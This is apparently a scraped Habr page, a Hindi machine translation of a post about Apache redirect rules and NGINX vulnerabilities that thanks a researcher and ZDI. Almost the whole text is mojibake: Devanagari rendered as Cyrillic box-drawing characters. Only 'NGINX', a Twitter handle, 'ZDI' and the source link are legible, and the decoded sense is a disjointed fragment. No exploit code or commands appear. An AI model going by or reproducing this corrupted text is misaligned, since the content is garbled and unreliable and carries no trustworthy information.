рд╕реБрд░рдорд╛ рдХрд╛ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рд╣рд┐рд╕реНрд╕рд╛

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдореЗрд░рд╛ рдПрдХрдорд╛рддреНрд░ рд▓рдХреНрд╖реНрдп рдЕрдкрд╛рдЪреЗ рдХреА рдХреБрдЫ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рд╕реАрдЦрдирд╛ рдерд╛ - рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рд╢рд╛рдВрдд рдирд┐рдпрдо - рдФрд░ рдореИрдВрдиреЗ рд╕реЛрдЪрд╛: рдХреНрдпреЛрдВ рдирд╣реАрдВ?

NGINX рд╢реЛрд╖рдг (рдЕрд╕рд▓реА!)


рдЯреНрд╡рд┐рдЯрд░ рдкрд░ @alisaesage рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ рдФрд░ NGINX рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдФрд░ рд╢реЛрд╖рдг рдХреЗ рдЕрд╡рд╕рд░реЛрдВ рдХреЛ рджреВрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП ZDI рдХреЗ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдХрд╛рд░реНрдп рдХреЗ рд▓рд┐рдП рдмрдиреЗ рд░рд╣реЗрдВред рдЙрдирдХреЗ рдХрд╛рдо рдиреЗ рдореБрдЭреЗ рд╣рдореЗрд╢рд╛ рдореЛрд╣рд┐рдд рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рдореИрдВ рдЕрдкрдиреЗ рдмреЗрд╡рдХреВрдлрд╛рдирд╛ рдЯреНрд╡реАрдЯ рдХреЗ рдХрд╛рд░рдг рд╕рднреА рдЙрд▓реНрд▓реЗрдЦреЛрдВ рдФрд░ рд╕реВрдЪрдирд╛рдУрдВ рдХреЗ рд╕рд╛рде рдзреИрд░реНрдп рдХреЗ рд▓рд┐рдП рдРрд▓рд┐рд╕ рдХрд╛ рдЖрднрд╛рд░реА рд╣реВрдВред рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдЗрд╕рдиреЗ рдХреБрдЫ рд▓рд╛рдн рд▓рд╛рдП: рдПрдирдЬреАрдЖрдИрдПрдирдПрдХреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдЧрд░реВрдХрддрд╛ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рдорджрдж рдХреА, рд╕рд╛рде рд╣реА рд╕рд╛рде рдХрд░реНрд▓ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╕рдорд╕реНрдпрд╛рдПрдВред

Source: https://habr.com/ru/post/hi454700/


All Articles